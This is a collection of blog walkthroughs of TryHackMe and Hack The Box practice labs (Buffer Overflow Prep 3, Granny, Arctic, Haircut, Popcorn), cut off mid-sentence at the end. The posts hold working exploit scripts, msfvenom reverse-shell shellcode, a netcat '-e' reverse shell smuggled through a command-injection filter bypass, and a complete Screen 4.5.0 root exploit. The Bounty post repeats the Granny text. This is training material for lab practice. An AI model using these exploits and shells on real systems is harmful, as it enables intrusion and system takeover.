[{"content":"This room is from try hack me prepared by Trib3rius. I am writing the walkthrough for OVERFLOW3. Let\u0026rsquo;s start.\nFirst of all, I am going to RDP to the target device. I will start the immunity debugger and attach oscp (vulnerable server) to the debugger.\nThe oscp server is listening in port 1337.\nNow let\u0026rsquo;s find out what are the command parameters that this server inputs. I can see 10 commands that are valid.\nNow, I am sure that all of these parameters are vulnerable to a buffer overflow. But in the real world, we have to first test the command/parameter for buffer overflow. For that, we can send a huge number of characters and upon checking the Debugger, if we see the characters have overflowed from the input to the EIP, then we can be assured that it is vulnerable.\nIn the below example, I am sending 5000 \u0026ldquo;A\u0026rdquo; characters as a value to OVERFLOW3.\npython -c \u0026#39;print \u0026#34;A\u0026#34; * 5000\u0026#39; Now when I send 5000 A characters the oscp server crashed. Character A overflowed and reached EIP as seen in the picture below.\nNow I can confirm that it is vulnerable to Buffer Overflow. Lets start the exploitation process.\nFirst of all, type the following commands to set a working directory for mona (one of the python commands in the debugger ). It will be useful later.\n!mona config -set workingfolder c:\\mona\\%p Now let\u0026rsquo;s restart the immunity debugger and attach oscp. You have to do this everytime you crash the app.\nNow I am going to fuzz the command and find out the nearest bytes to crash. Python script I use is below. This script is from Josh Mason BufferOverflows.\n#!/usr/bin/env python3 import socket, sys from time import sleep ip=\u0026#39;10.10.187.100\u0026#39; port=1337 Command=\u0026#34;OVERFLOW3 \u0026#34; string = Command + 100*\u0026#34;A\u0026#34; while True: #Runs continuously until crash try: with socket.socket() as s: s.connect((ip,port)) print(\u0026#34;sending {} bytes\u0026#34;.format(len(string))) s.send(bytes(string,\u0026#39;latin-1\u0026#39;)) reply = s.recv(4096) string += 100*\u0026#34;A\u0026#34; sleep(0.8) except: print(\u0026#34;fuzzing crashed at {} bytes\u0026#34;.format(len(string))) sys.exit(0) Now when I run the above script, the program crashed at 1410 bytes.\nNow we need to find the bytes offset just before it hits EIP. As our target is EIP and EIP can be manipulated to control the service. I am going to create a pattern for the length of 1500 bytes ( as our program crashed at 1410), I will use Metasploit module pattern_create for this.\n/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1500 Now I need to modify my fuzz script to the above pattern as the payload.\n#!/usr/bin/python3 import sys, socket offset = \u0026#34;\u0026lt;Pattern Creted using pattern_create as above\u0026gt;\u0026#34; ip = \u0026#34;10.10.187.100\u0026#34; port = 1337 command = \u0026#34;OVERFLOW3 \u0026#34; try: s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((ip,port)) payload = command + offset s.send((payload.encode())) s.close() except: print (\u0026#34;Error connecting to the server\u0026#34;) sys.exit() We caused the system to crash now I am going to copy the value that is in EIP and find the offset.\n/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1500 -q 35714234 So the exact match at offset 1274. So the next four bytes are going to end up in EIP. let\u0026rsquo;s confirm that. I am going to send 1274 \u0026ldquo;A\u0026rdquo; and 4 \u0026ldquo;B\u0026rdquo; . I must see 42424242 in the EIP if our offset was right.\n#!/usr/bin/python3 import sys, socket offset = \u0026#34;A\u0026#34; * 1274 + \u0026#34;B\u0026#34; * 4 ip = \u0026#34;10.10.187.100\u0026#34; port = 1337 command = \u0026#34;OVERFLOW3 \u0026#34; try: s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((ip,port)) payload = command + offset s.send((payload.encode())) s.close() except: print (\u0026#34;Error connecting to the server\u0026#34;) sys.exit() Yup, the offset is correct.\nNow depending on the program, they may have certain hex characters which have different effects. We call them bad characters, we want to avoid bad chars from our reverse-shell payload later so it\u0026rsquo;s important to find them.\nFirst of all, let\u0026rsquo;s create a byte-array of all the characters except \u0026quot;\\x00\u0026quot; . Becasue \\x00 is a null byte and it means the end of a string in most of the programs. So that\u0026rsquo;s usually always a bad character.\n!mona bytearray -b \u0026#34;\\x00\u0026#34; Now mona will create an array file into the directory we mentioned at the start of this walkthrough. Now let\u0026rsquo;s find out other bad characters.\nI am using this create.py by Josh Mason again. It will generate all the chars except for \\x00 and we will send those characters to the program and compare them to the characters by mona and find the bad characters. you might be confused but trust me it will make sense soon.\n#!/usr/bin/env python3 from __future__ import print_function bad = \u0026#34;00\u0026#34;.split() print(\u0026#34;badchars = \u0026#34;) for x in range(1, 256): if \u0026#34;{:02x}\u0026#34;.format(x) not in bad: print(\u0026#34;\\\\x\u0026#34; + \u0026#34;{:02x}\u0026#34;.format(x), end=\u0026#39;\u0026#39;) print(\u0026#34;\\n\\nfor mona\u0026#34;) for byte in bad: print(\u0026#34;\\\\x{}\u0026#34;.format(byte), end=\u0026#39;\u0026#39;) print() Let\u0026rsquo;s send these badchars to the program. I use the following python script.\n#!/usr/bin/env python3 import socket ip=\u0026#39;10.10.187.100\u0026#39; port=1337 badchars = \u0026#34;\u0026lt;copy the badchars generated from create.py\u0026gt;\u0026#34; string = \u0026#34;OVERFLOW3 \u0026#34; + 1274*\u0026#34;A\u0026#34; + \u0026#34;B\u0026#34; * 4 + badchars try: with socket.socket() as s: s.connect((ip,port)) print(\u0026#34;sending pattern\u0026#34;) s.send(bytes(string,\u0026#39;latin-1\u0026#39;)) except: print(\u0026#34;failed to connect\u0026#34;) Now, the program will crash again. Right-click on the ESP and click \u0026ldquo;follow on dump\u0026rdquo;.\nYou will see all the characters in the bottom left corner\nSo I am now going to compare the characters in the dump with the characters in mona. And see the difference and identify the bad chars.\nNB: remember oscp as the directory. It will be the name of your vulnerable app.\n!mona compare -f C:\\mona\\oscp\\bytearray.bin -a esp Once you enter above command , mona will output the suspected bad chars as shown in the image below.\nAccording to mona 00 11 12 40 41 5f 60 b8 are bad chars. Now, normally the character just after bad char might also return an error, so they are often identified as bad chars. We can ignore the sequential chars( You have to always double-check though as sometimes consecutive bad chars may exist).\nNow let\u0026rsquo;s update the create.py to include the bad chars obtained from mona. We have to keep on doing this until the comparison result from mona says no bad characters.\n!mona bytearray -b \u0026#34;\\x00\\x11\\x40\\x5f\\x60\\xb8\u0026#34; Running that script one more time. Mona shows one more bad chars. ee\nNow let\u0026rsquo;s add that to the bad chars and repeat the steps.\n!mona bytearray -b \u0026#34;\\x00\\x11\\x40\\x5f\\xb8\\xee\u0026#34; Now it is unmodified. We can be assured that we have excluded all the bad chars.\nNow next step is to find the jump point which is an address that can be used to jump into another stack frame. Lets find the JMP ESP. Mona has the easy way to find the JMP ESP.\n!mona jmp -r esp -cpb \u0026#34;\\x00\\x11\\x40\\x5f\\xb8\\xee\u0026#34; Now this will show us the list of the memory addresses that we can use as the JMP ESP. One main thing to consider while choosing the memory address is that it must not have memory protection enabled. Fortunately for us, Mona usually checks this for us.\nNow we need to use the memory address ( as shown by the arrow in the above pic). Which is 62501203 . Let\u0026rsquo;s set up the breakup point to this JMP ESP address.\nI am going to use the following python script to test my JMP ESP memory address. If its the right memory address then we should hit the breakpoint if not we need to try another memory address ( next on the list).\nWhen adding the JMP ESP memory address, We need to use it in reverse order. In our case something like this.\nFor address: 62501203\n\\x03\\x12\\x50\\x62\n(BufferOverflow Preparation)\n#!/usr/bin/python3 import sys, socket #625011af shellcode = \u0026#34;A\u0026#34; * 1274 + \u0026#34;\\x03\\x12\\x50\\x62\u0026#34; try: s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((\u0026#39;10.10.187.100\u0026#39;,1337)) payload = \u0026#34;OVERFLOW3\u0026#34; + shellcode s.send((payload.encode())) s.close() except: print (\u0026#34;Error connecting to the server\u0026#34;) sys.exit() Once we run the above command. We hit the breakpoint.\nSo we are on the right path. We do need a padding\nNow comes the most interesting part. EXPLOIT SHELL.\nLet\u0026rsquo;s create the exploit shell and we need our bad chars here.\nmsfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.19 LPORT=4444 EXITFUNC=thread -b \u0026#34;\\x00\\x11\\x40\\x5f\\xb8\\xee\u0026#34; -f c Our msfvenom payload\n\u0026#34;\\xfc\\xbb\\x13\\xd0\\xa3\\x0c\\xeb\\x0c\\x5e\\x56\\x31\\x1e\\xad\\x01\\xc3\u0026#34; \u0026#34;\\x85\\xc0\\x75\\xf7\\xc3\\xe8\\xef\\xff\\xff\\xff\\xef\\x38\\x21\\x0c\\x0f\u0026#34; \u0026#34;\\xb9\\x46\\x84\\xea\\x88\\x46\\xf2\\x7f\\xba\\x76\\x70\\x2d\\x37\\xfc\\xd4\u0026#34; \u0026#34;\\xc5\\xcc\\x70\\xf1\\xea\\x65\\x3e\\x27\\xc5\\x76\\x13\\x1b\\x44\\xf5\\x6e\u0026#34; \u0026#34;\\x48\\xa6\\xc4\\xa0\\x9d\\xa7\\x01\\xdc\\x6c\\xf5\\xda\\xaa\\xc3\\xe9\\x6f\u0026#34; \u0026#34;\\xe6\\xdf\\x82\\x3c\\xe6\\x67\\x77\\xf4\\x09\\x49\\x26\\x8e\\x53\\x49\\xc9\u0026#34; \u0026#34;\\x43\\xe8\\xc0\\xd1\\x80\\xd5\\x9b\\x6a\\x72\\xa1\\x1d\\xba\\x4a\\x4a\\xb1\u0026#34; \u0026#34;\\x83\\x62\\xb9\\xcb\\xc4\\x45\\x22\\xbe\\x3c\\xb6\\xdf\\xb9\\xfb\\xc4\\x3b\u0026#34; \u0026#34;\\x4f\\x1f\\x6e\\xcf\\xf7\\xfb\\x8e\\x1c\\x61\\x88\\x9d\\xe9\\xe5\\xd6\\x81\u0026#34; \u0026#34;\\xec\\x2a\\x6d\\xbd\\x65\\xcd\\xa1\\x37\\x3d\\xea\\x65\\x13\\xe5\\x93\\x3c\u0026#34; \u0026#34;\\xf9\\x48\\xab\\x5e\\xa2\\x35\\x09\\x15\\x4f\\x21\\x20\\x74\\x18\\x86\\x09\u0026#34; \u0026#34;\\x86\\xd8\\x80\\x1a\\xf5\\xea\\x0f\\xb1\\x91\\x46\\xc7\\x1f\\x66\\xa8\\xf2\u0026#34; \u0026#34;\\xd8\\xf8\\x57\\xfd\\x18\\xd1\\x93\\xa9\\x48\\x49\\x35\\xd2\\x02\\x89\\xba\u0026#34; \u0026#34;\\x07\\x84\\xd9\\x14\\xf8\\x65\\x89\\xd4\\xa8\\x0d\\xc3\\xda\\x97\\x2e\\xec\u0026#34; \u0026#34;\\x30\\xb0\\xc5\\x17\\xd3\\xb5\\x1d\\x35\\xb2\\xa2\\x1f\\x39\\xa5\\x6e\\xa9\u0026#34; \u0026#34;\\xdf\\xaf\\x9e\\xff\\x48\\x58\\x06\\x5a\\x02\\xf9\\xc7\\x70\\x6f\\x39\\x43\u0026#34; \u0026#34;\\x77\\x90\\xf4\\xa4\\xf2\\x82\\x61\\x45\\x49\\xf8\\x24\\x5a\\x67\\x94\\xab\u0026#34; \u0026#34;\\xc9\\xec\\x64\\xa5\\xf1\\xba\\x33\\xe2\\xc4\\xb2\\xd1\\x1e\\x7e\\x6d\\xc7\u0026#34; \u0026#34;\\xe2\\xe6\\x56\\x43\\x39\\xdb\\x59\\x4a\\xcc\\x67\\x7e\\x5c\\x08\\x67\\x3a\u0026#34; \u0026#34;\\x08\\xc4\\x3e\\x94\\xe6\\xa2\\xe8\\x56\\x50\\x7d\\x46\\x31\\x34\\xf8\\xa4\u0026#34; \u0026#34;\\x82\\x42\\x05\\xe1\\x74\\xaa\\xb4\\x5c\\xc1\\xd5\\x79\\x09\\xc5\\xae\\x67\u0026#34; \u0026#34;\\xa9\\x2a\\x65\\x2c\\xc9\\xc8\\xaf\\x59\\x62\\x55\\x3a\\xe0\\xef\\x66\\x91\u0026#34; \u0026#34;\\x27\\x16\\xe5\\x13\\xd8\\xed\\xf5\\x56\\xdd\\xaa\\xb1\\x8b\\xaf\\xa3\\x57\u0026#34; \u0026#34;\\xab\\x1c\\xc3\\x7d\\xab\\xa2\\x3b\\x7e\u0026#34; Let\u0026rsquo;s add this payload to our final exploit script and gain reverse shell. This script is from Tib3rius THM room.\nimport socket ip = \u0026#34;10.10.187.100\u0026#34; port = 1337 prefix = \u0026#34;OVERFLOW3 \u0026#34; offset = 1274 overflow = \u0026#34;A\u0026#34; * offset retn = \u0026#34;\\x03\\x12\\x50\\x62\u0026#34; padding = \u0026#34;\\x90\u0026#34; * 16 payload = \u0026#34;\u0026lt;copy from above and put it here\u0026#34; postfix = \u0026#34;\u0026#34; buffer = prefix + overflow + retn + padding + payload + postfix s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((ip, port)) print(\u0026#34;Sending evil buffer...\u0026#34;) s.send(bytes(buffer + \u0026#34;\\r\\n\u0026#34;, \u0026#34;latin-1\u0026#34;)) print(\u0026#34;Done!\u0026#34;) except: print(\u0026#34;Could not connect.\u0026#34;) we used padding because our payload is encoded and we need some time for it to decode. That\u0026rsquo;s the reason for padding ( \\x90 means no operation * 16 times)\nNow when we run the above script we get the reverse shell. ( Make sure you have oscp.exe running in the target system, you don\u0026rsquo;t need debugger for this last step)\nWow, this was really fun. Thanks, Tib3rius for creating this room.\n","permalink":"https://cyberdai.github.io/posts/thm/thm-bufferoverflow3/","summary":"This room is from try hack me prepared by Trib3rius. I am writing the walkthrough for OVERFLOW3. Let\u0026rsquo;s start.\nFirst of all, I am going to RDP to the target device. I will start the immunity debugger and attach oscp (vulnerable server) to the debugger.\nThe oscp server is listening in port 1337.\nNow let\u0026rsquo;s find out what are the command parameters that this server inputs. I can see 10 commands that are valid.","title":"Buffer OverFlow PREP 3 From THM"},{"content":" This walkthrough is for Granny box from Hack the Box which is also on the TJnull list of practice boxes for OSCP preparation. The box involved the following:\nwebdav MOVE options exploit to upload aspx file. Service user token impersonate for privilege escalation. I always start my enumeration from the autorecon scan. Initial Nmap scan results are as below.\nNmap scan report for 10.10.10.15 Host is up, received user-set (0.013s latency). Scanned at 2022-08-01 15:53:08 AEST for 23s Not shown: 999 filtered tcp ports (no-response) PORT STATE SERVICE REASON VERSION 80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 6.0 | http-webdav-scan: | WebDAV type: Unknown | Server Type: Microsoft-IIS/6.0 | Allowed Methods: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK | Server Date: Mon, 01 Aug 2022 05:53:31 GMT |_ Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH | http-methods: | Supported Methods: OPTIONS TRACE GET HEAD DELETE COPY MOVE PROPFIND PROPPATCH SEARCH MKCOL LOCK UNLOCK PUT POST |_ Potentially risky methods: TRACE DELETE COPY MOVE PROPFIND PROPPATCH SEARCH MKCOL LOCK UNLOCK PUT |_http-title: Under Construction |_http-server-header: Microsoft-IIS/6.0 Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 2003|2008|XP|2000 (92%) OS CPE: cpe:/o:microsoft:windows_server_2003::sp1 Network Distance: 2 hops TCP Sequence Prediction: Difficulty=261 (Good luck!) IP ID Sequence Generation: Incremental Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows TRACEROUTE (using port 80/tcp) HOP RTT ADDRESS 1 13.01 ms 10.10.14.1 2 13.11 ms 10.10.10.15 Read data files from: /usr/bin/../share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Mon Aug 1 15:53:31 2022 -- 1 IP address (1 host up) scanned in 30.50 seconds nmap scan result shows that there is webdav enabled on the server. It is windows machine running the Microsoft IIS 6.0.\nNow, running the davtest I can see that we can upload (using PUT) .html and .txt files but not the .aspx file.\ndavtest -url http://10.10.10.15 Also, from our initial nmap scan, I can see that the allowed options on the webserver includes MOVE . Now, we can use this MOVE options to change(rename) the uploaded file .html or .txt (only .html and .txt are allowed to upload using PUT) to .aspx.\nFor webdav pentest, I always use cadaver for its ease of use\ncadaver http://10.10.10.15 I tried uploading the aspx file it was forbidden.\nNow I used msfvenom to create a malicious aspx file.\nmsfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f aspx \u0026gt; rev.aspx Now I rename that file to rev.html\nNow, I upload rev.html using PUT and rename it to rev.aspx using MOVE.\nStart a listener on port 443. Now,executing http://10.10.10.15/rev.aspx from the browser will give us the reverse shell.\nLooking at the systeminfo and using windows exploit suggester, I can see there is token kidnapping Local Privilege Escalation.\nwes.py sysinfo.txt -i \u0026#39;Elevation of Privilege\u0026#39; --exploits-only -c| more Checking the exploit, I can see the if we can run a code under any service then we can elevate our privilege. we are running as network service , so we can try to use the exploit for privilege escalation. Also, checking the privileges whoami /priv I can see SeImpersonatePrivilege is enabled. Now, downloading the exploit you have to compile it. I went the easy way and used the compiled version from here . I started the smb server and copied the exploit to the target machine.\ncopy \\\\10.10.10.10\\kali\\6705.exe 6705.exe Now, executing the exe file, I see this error. Program too big to fit in memory\nLuckily, I had sqlninja installed and it also has churrasco.exe binary. Location for the binary is /usr/share/sqlninja/apps/churrasco.exe Now, transferring this file to the target machine and it worked. The usage for the exploit is churrasco.exe -d \u0026quot;\u0026lt;your command\u0026gt;\u0026quot; Now, I uploaded nc.exe and send the reverse shell as the system user. churrasco.exe -d \u0026quot;nc.exe 10.10.10.10 443 -e cmd.exe\u0026quot;\nWe get the reverse shell as the system user.\n","permalink":"https://cyberdai.github.io/posts/htb/granny-htb-walkthrough-without-metasploit/","summary":"This walkthrough is for Granny box from Hack the Box which is also on the TJnull list of practice boxes for OSCP preparation. The box involved the following:\nwebdav MOVE options exploit to upload aspx file. Service user token impersonate for privilege escalation. I always start my enumeration from the autorecon scan. Initial Nmap scan results are as below.\nNmap scan report for 10.10.10.15 Host is up, received user-set (0.","title":"Granny Hack The Box Walkthrough (Without using Metasploit)"},{"content":" This walkthrough is for Arctic box from Hack the Box which is also on the TJnull list of practice boxes for OSCP preparation. The box involved the following:\nManual Directory Enumeration on port 8500 Adobe ColdFusion RCE exploit for initial foothold Kernel exploit for privilege escalation I always start my enumeration from the autorecon scan. Initial Nmap scan results are as below.\nNmap scan report for 10.10.10.11 Host is up, received user-set (0.017s latency). Scanned at 2022-08-02 10:48:57 AEST for 505s Not shown: 997 filtered tcp ports (no-response) PORT STATE SERVICE REASON VERSION 135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 8500/tcp open fmtp? syn-ack ttl 127 49154/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|phone|specialized Running (JUST GUESSING): Microsoft Windows 8|Phone|2008|7|8.1|Vista|2012 (92%) OS CPE: cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_8.1 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows_server_2012:r2 OS fingerprint not ideal because: Missing a closed TCP port so results incomplete Aggressive OS guesses: Microsoft Windows 8.1 Update 1 (92%), Microsoft Windows Phone 7.5 or 8.0 (92%), Microsoft Windows 7 or Windows Server 2008 R2 (91%), Microsoft Windows Server 2008 R2 (91%), Microsoft Windows Server 2008 R2 or Windows 8.1 (91%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (91%), Microsoft Windows 7 (91%), Microsoft Windows 7 SP1 or Windows Server 2008 R2 (91%), Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7 (91%), Microsoft Windows Embedded Standard 7 (91%) Uptime guess: 0.313 days (since Tue Aug 2 03:25:59 2022) Network Distance: 2 hops TCP Sequence Prediction: Difficulty=264 (Good luck!) IP ID Sequence Generation: Incremental Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows TRACEROUTE (using port 135/tcp) HOP RTT ADDRESS 1 14.70 ms 10.10.14.1 2 14.71 ms 10.10.10.11 Read data files from: /usr/bin/../share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Tue Aug 2 10:57:22 2022 -- 1 IP address (1 host up) scanned in 506.30 seconds Port 8500 looks weird. Upon checking through browser I can see site index. Checking the first directory /CFIDE I can see further files and directories.\nUpon checking further I see error on Application.cfm as below.\nThis gives no any information and looked like a rabbit-hole. But, administrator directory gave us an login page for Adobe ColdFusion.\nA quick look on searchsploit gave vulnerabilities for this version. But I am particularly interested in the RCE exploit which matches our version of the Adobe ColdFusion.\nDownloading the exploit and modifying the LHOST details, I was able to get the reverse shell.\nNow, running windows-exploit-suggester on the target system to identify any vulnerabilities on the system and I can see there are few of them.\n./windows-exploit-suggester.py --database 2022-08-02-mssb.xls --systeminfo sysinfo.txt Now, looking at the precompiled windows exploits from here. I am going to use MS10-059 which uses vulnerabilities in the tracing feature for services and that could allow elevation of privilege.\nNow downloading the exploit from here and I transferred the exploit to the target device. I also transferred the nc.exe to send the reverse shell to my machine as the elevated user.\nAccording to the github, the usage for the exploit is as below.\nc:\\\u0026gt; MS10-059.exe \u0026#34;C:\\windows\\system32\\cmd.exe\u0026#34; \u0026#34;net user 123 123 /add\u0026#34; I am going to send the reverse shell to my machine as the command. I followed the above usage and it returned the following error.\nSo the usage is MS10-059.exe LHOST LPORT.\nNow I was able to get the reverse shell as the System user.\n","permalink":"https://cyberdai.github.io/posts/htb/arctic-htb-walkthrough-without-metasploit/","summary":"This walkthrough is for Arctic box from Hack the Box which is also on the TJnull list of practice boxes for OSCP preparation. The box involved the following:\nManual Directory Enumeration on port 8500 Adobe ColdFusion RCE exploit for initial foothold Kernel exploit for privilege escalation I always start my enumeration from the autorecon scan. Initial Nmap scan results are as below.\nNmap scan report for 10.10.10.11 Host is up, received user-set (0.","title":"Arctic Hack The Box Walkthrough (Without using Metasploit)"},{"content":"This walkthrough is for Granny box from Hack the Box which is also on the TJnull list of practice boxes for OSCP preparation. The box involved the following:\nwebdav MOVE options exploit to upload aspx file. Service user token impersonate for privilege escalation. I always start my enumeration from the autorecon scan. Initial Nmap scan results are as below.\n","permalink":"https://cyberdai.github.io/posts/htb/bounty-htb-walkthrough-without-metasploit/","summary":"This walkthrough is for Granny box from Hack the Box which is also on the TJnull list of practice boxes for OSCP preparation. The box involved the following:\nwebdav MOVE options exploit to upload aspx file. Service user token impersonate for privilege escalation. I always start my enumeration from the autorecon scan. Initial Nmap scan results are as below.","title":"Bounty Hack The Box Walkthrough (Without using Metasploit)"},{"content":" This box is from Hack The Box and is also on the TJnull list of practice boxes for OSCP preparation. The box involved the follows:\nWeb Enumeration Command Injection for Initial shell Exploit Screen 4.5.0 for privilege escalation I always start my enumeration from the autorecon scan. Initial Nmap scan results are as below.\nScanned at 2022-05-04 11:43:45 AEST for 12s Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 e9:75:c1:e4:b3:63:3c:93:f2:c6:18:08:36:48:ce:36 (RSA) | ssh-rsa 80/tcp open http syn-ack ttl 63 nginx 1.10.0 (Ubuntu) |_http-title: HTB Hairdresser | http-methods: |_ Supported Methods: GET HEAD |_http-server-header: nginx/1.10.0 (Ubuntu) Device type: general purpose|WAP|router|specialized Running (JUST GUESSING): Linux 3.X|2.4.X|2.6.X (97%), MikroTik RouterOS 6.X (89%), Crestron 2-Series (89%) Uptime guess: 199.638 days (since Sat Oct 16 21:24:53 2021) Network Distance: 2 hops TCP Sequence Prediction: Difficulty=250 (Good luck!) IP ID Sequence Generation: All zeros Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 554/tcp) HOP RTT ADDRESS 1 11.52 ms 10.10.14.1 2 11.54 ms 10.10.10.24 From our initial scan, I can see there are two ports open, port 22 and port 80. I will start further enumeration starting from the web portal.\nGobuster scan results\nThere is an interesting web directory /exposed.php . When visiting the page, it gives us a field where we can type the web address that we would like to check.\n/exposed.php page\nI started playing with the field trying different options. I could not use any commands that can combine commands like (\u0026amp;, ;, |) they were all banned/sanitized. I initially thought this field is vulnerable to LFI but after further enumeration looks like it is vulnerable to command injection.\nI started a python webserver on my kali box and tried to access a file. It looks like it is simply using the curl command and outputting that into the screen below.\nRFI POC\nRequest at my python webserver\nI also tried to run the command using the $() and succeeded in running the command.\nCommand Injection\nCommand Injection POC\nAlso, the field won\u0026rsquo;t let me use nc command.\nnc is a banned command\nI can use the same $() to bypass this sanitization. Using this command injection, I was able to get the initial shell.\nhttp://10.10.14.4/hello.php$(n$()c -e /bin/sh 10.10.14.4 4567)\nInitial Shell\nI was able to access the user.txt .\nUser flag\nRunning linpeas script I can see, there is an unusual SUID binary.\nLinpeas script: Unknown SUID binary\nA quick google search and I found the local privilege escalation exploit for this particular version\nWe do need to compile the c script for the exploit and our target system has the working installed compilers.\nCompilers in the target system\nBut even with the compilers, it ran to error and I had to compile those scripts in my local system and upload them to the target shell.\nScript from Exploit-DB\ncat \u0026lt;\u0026lt; EOF \u0026gt; /tmp/libhax.c #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;sys/types.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; __attribute__ ((__constructor__)) void dropshell(void){ chown(\u0026#34;/tmp/rootshell\u0026#34;, 0, 0); chmod(\u0026#34;/tmp/rootshell\u0026#34;, 04755); unlink(\u0026#34;/etc/ld.so.preload\u0026#34;); printf(\u0026#34;[+] done!\\n\u0026#34;); } EOF gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c rm -f /tmp/libhax.c cat \u0026lt;\u0026lt; EOF \u0026gt; /tmp/rootshell.c #include \u0026lt;stdio.h\u0026gt; int main(void){ setuid(0); setgid(0); seteuid(0); setegid(0); execvp(\u0026#34;/bin/sh\u0026#34;, NULL, NULL); } EOF gcc -o /tmp/rootshell /tmp/rootshell.c rm -f /tmp/rootshell.c cd /etc umask 000 screen -D -m -L ld.so.preload echo -ne \u0026#34;\\x0a/tmp/libhax.so\u0026#34; screen -ls /tmp/rootshell Following the above steps, I was able to get the root shell.\nScreen 4.5.0 Privilege Escalation\n","permalink":"https://cyberdai.github.io/posts/htb/haircut-hack-the-box-walkthrough-without-using-metasploit/","summary":"This box is from Hack The Box and is also on the TJnull list of practice boxes for OSCP preparation. The box involved the follows:\nWeb Enumeration Command Injection for Initial shell Exploit Screen 4.5.0 for privilege escalation I always start my enumeration from the autorecon scan. Initial Nmap scan results are as below.\nScanned at 2022-05-04 11:43:45 AEST for 12s Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 7.","title":"Haircut Hack The Box Walkthrough (Without using Metasploit)"},{"content":" This box is from Hack the Box and is also on the TJnull list of practice boxes for OSCP preparation. The box involved the follows:\nWeb Enumeration File Uploads Bypass to uplaod a maliciouos PHP file for initial shell Dirty Cow exploit for Privilege Escalation. I always start my enumeration from the autorecon scan. Initial Nmap scan results are as below.\nNmap scan report for 10.10.10.6 Host is up, received user-set (0.015s latency). Scanned at 2022-05-03 21:13:25 AEST for 12s Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 5.1p1 Debian 6ubuntu2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 3e:c8:1b:15:21:15:50:ec:6e:63:bc:c5:6b:80:7b:38 (DSA) | ssh-dss 80/tcp open http syn-ack ttl 63 Apache httpd 2.2.12 ((Ubuntu)) |_http-title: Site doesn\u0026#39;t have a title (text/html). | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.2.12 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 21/tcp) HOP RTT ADDRESS 1 12.46 ms 10.10.14.1 2 12.52 ms 10.10.10.6 From the initial scan, I can see that there are two ports open, port 80 and port 22. As port 80 is more lucrative, I will start further enumeration on port 80. I am going to start with a gobuster directory scan.\nI am going to visit and further enumerate those directories found above\n/test and /test.php\n/test page seems to be a phpinfo page and there are two things that I found which are interesting,\nThis server is protected with Suhosin Patch and hence is claimed to be hardened.\nI can see that the file_uploads is on, which can of further use especially if we are able to find LFI later on.\n/torrent\nLooking at the footer and a quick google search, I can assume that this is a really old version of the torrent CMS system. This CMS (torrent hoster) is vulnerable to Remount Upload as seen from the searchsploit result. Researched further but found nothing leading to the proper execution of the vulnerability, but I can assume there is something in the uploads setting that we can exploit.\nSearchsploit scan result for Torrent Hoster\nOn the top right of the /torrent page, I can see the Register button. That looks interesting. Let\u0026rsquo;s register a new user.\nOnce registered I logged in. I can see an uploads tab, which lets me upload a torrent file.\nI tried to upload a .php file, .png file but it failed. I downloaded a torrent file from kali website ( couldn\u0026rsquo;t find a trustworthy small and easy torrent file). Once uploaded it took like a minute and greeted me with another screen.\nFrom the image above, we can see two really important details. One, we can see that there is a edit this torrent button and if we hover over the image located above that button it gives us the address for the image ( number 2 in the image above).\nThis satisfies both of the file uploads exploit requirements.\nWe can upload a file We know the location of the file and can hence run that file for our malicious gain Now after clicking on the edit this torrent, I can see a new page pop up with the uploads options.\nNow further analyzing the above image, I can see an important detail that explicitly mentions the allowed file types. jpg,.jpeg,.gif,.png\nNow, there are mainly three ways a web page validates the file types and they are as below.\nFile extension Content-Type header Magic Byte As I don\u0026rsquo;t have access to the source code of the page, I will have to find the validation technique using the trial and error method.\nI tried uploading a .php file and it failed.\nNow sending this uploads page through burp proxy. I can change the file extension and content-type header to check which one is responsible for validating the file.\nFirst I will change the file extension to add .png.\nChange the file extension\nValidation failed with only file extension changed.\nNow I am going to change the file extension back to .php and change the Content-Type header to image/png.\nChanging the content-type header.\nFile validation succeded\nSo the web page was just validating files using the Content-Type header. As mentioned from the response we can see our malicious 